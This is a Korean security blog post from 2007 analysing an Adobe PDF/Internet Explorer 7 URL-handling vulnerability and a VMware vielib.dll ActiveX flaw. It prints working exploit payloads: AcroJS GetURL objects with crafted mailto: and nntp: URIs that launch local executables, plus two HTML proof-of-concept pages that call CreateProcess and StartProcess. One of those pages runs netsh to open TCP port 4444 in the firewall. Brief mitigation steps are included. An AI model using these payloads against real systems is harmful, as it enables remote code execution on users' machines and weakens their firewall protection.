PDF ZeroDay 취약점(?) - exploit

Posted 2007/10/18 15:35 by silverbug
Software affected:

+ Adobe Reader 8.1 (and earlier)
+ Adobe Acrobat Standard, Pro and Elements 8.1 (and earlier)
+ Adobe Acrobat 3D

System affected:

+ Windows XP with IE7

Exploit이 공개 됐을때 황당하고 당황스러운... 제발 그것만은 아니길 바랬는데... 이런...
만들어 놓았던 익스플로잇과 공개된 익스플로잇이 일치 -_- 멋진 취약점이길 바랬는데....
이번에 메일링에서 한참 떠들어 댔던 PDF의 취약점에 대해 분석한 내용을 적어본다.
사실 PDF 취약점이라기 보다는 IE7에서 발생하는 문제점으로 PDF는 단지 URL만 요청하는 역할을 할 뿐이다.

분석 ::

PDF의 경우 AcroJS인 스크립트를 사용한다. 이를 이용하여 PDF에서 계산기며, 여러 스크립트 동작을 가능하게 한다.
물론 XSS 취약점등을 방어하기 위해 보안이 강화된 스크립트를 사용한다.
실제 alert 창을 띄우는 코드는 바이너리에 아래와 같이 삽입된다.

<</S /JavaScript /JS ({app.alert\("TEST"\)})>>

위 코드는 스크립트 코드를 알리며, app.alert를 통해 TEST라는 Alert 창을 띄운다.
위의 스크립트를 통해 공격이 가능하게 되는데 어떠한 스크립트를 통해 가능한지 알아보면 다음과 같다.

<</S /JavaScript /JS ({({GetURL\("http://XXX"\)})>>

<</URI(http://XXXX)/S/URI>>

AcroJS를 공부하면서 알아낸 방법은 두가지이다. 스크립트를 이용한 방법과 URI를 이용한 방법이다.
XXX 부분에 URL 주소를 넣으면 PDF에서 창을 띄워 XXX URL로 이동하게 된다.
즉 기본적으로 들어 있는 기능이며, 사실상 크게 문제 될 부분은 없다.

{{
 Etc..
    - pdf를 다운 받아 실행하면 보안 경고창이 뜬다. 하지만 웹에 올려 놓으면 pdf ActiveX 가 실행되면서 보안 경고창없이 진행된다.
      또한 Exploit이 동작하는 동영상에는 레지스터를 수정하여 보안 경고창을 없앤걸로 보인다.
}}

하지만 IE 7에서 shell32!ShellExecute()에서 URL 핸들링 버그로 인해 PDF가 이용됐다.

mailto:test%../../../../windows/system32/calc.exe".cmd
nntp:../../../../../Windows/system32/telnet.exe" "secunia.com 80%.bat

참조 :: http://secunia.com/advisories/26201/


위의 코드를 IE7에서 동작시키면 계산기가 뜨게 된다. 두번째 코드는 telnet을 실행할 것이다.
즉 PDF에서의 문제는 IE7에서의 문제점을 공격자들에 의해 더 많이 확산될 길을 열어주는 것 뿐이다.

Exploit은 아래와 같다....

Exploit ::
<</S /JavaScript /JS
({({GetURL\("
mailto:test%../../../../windows/system32/calc.exe".cmd"\)})>>



p.s
  사실 위 문제점이라고 짐작은 하였으나 설마.. 아니겠지... 라는 생각을 하면서 다른 방법들을 시도해 보았다.
  물론 실패로 끝났지만 ....

  실패작 중 하나...
  file:////c:/windows/system/calc.exe 를 넣어보았으나
  file:/// 이러한 문자는 스크립트에서는 차단시키고.. URI에서는 다운로드 형태로 처리해 버린다.

어제 발표된 취약점과 마찬가지.. 취약점..

vielib.dll 라이브러리에서 CreateProcess & CreateProcessEx method를 체크하지 않아 생기는 문제로 공격자는 사용자 컴퓨터를 html이나 실행 프로그램을 이용하여 유효한 쉘을 획득할 수 있다.

clsid:0F748FDE-0597-443C-8596-71854C5EA20A

공격코드


<HTML>
<BODY>
  <object id=_9090909090 classid="clsid:{0F748FDE-0597-443C-8596-71854C5EA20A}"></object>
<SCRIPT>

function _d0_() {

ba="c:\\windows\\system32\\calc.exe"
ad="c:\\windows\\system32\\calc.exe"
fO="c:\\windows\\system32\\"
Od=1

_9090909090.CreateProcess(ba, ad, fO, Od)
}

</SCRIPT>
<input language=JavaScript onclick=_d0_() type=button value="Proof of Concept">
</BODY>
</HTML>

Exploit 제작자.
    :. GOODFELLAS Security Research TEAM  .:
    :. http://goodfellas.shellcode.com.ar .:

영향.
Vmware 6.0.0 프로그램은 vielib.dll 라이브러리를 가지고 있는데, 이 라이브러리의 StartProcess Method는 악의적인 프로그램을 실행 할 수 있다.

요약
StartProcess method는 악의적인 사용자나 어플리케이션에서 호출되었는지 확인하지 않아 생기는 문제점이다. 리모트 공격자는 html page나 실행코드를 사용하여 외부 시스템의 권한을 획득할 수 있다.

임시 대처 방안
regsvr32를 사용하여 vielib.dll을 Unregister  해라.
clsid:7B9C5422-39AA-4C21-BEEF-645E42EB4529 비활성화 시켜라.

기술 세부 정보
StartProcess method가 성공적으로 실행하기 위해서는 3개의 파일을 필요로 한다(stdin, stdout, stderr). 공격자는  Microsoft Office 2003 Application에 존재하는 파일을 이용했다.

공격 코드

<HTML>
<BODY>
  <object id=ctrl classid="clsid:{7B9C5422-39AA-4C21-BEEF-645E42EB4529}"></object>
<SCRIPT>

function Poc() {
arg1 = "C:\\windows\\system32\\netsh.exe"
arg2 = "C:\\windows\\system32\\netsh.exe firewall add portopening tcp 4444 GotIT"
arg3 = "C:\\windows\\system32\\"
arg4 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseneu.txt"
arg5 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseeng.txt"
arg6 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseenu.txt"
arg7 = "1"
ctrl.StartProcess(arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7)
}

</SCRIPT>
<input language=JavaScript onclick=Poc() type=button value="Proof of Concept">
</BODY>
</HTML>

:: 테스트 결과
 - 실제 메모장을 실행하게 한 결과 아무런 문제 없이 실행됨을 확인하였다.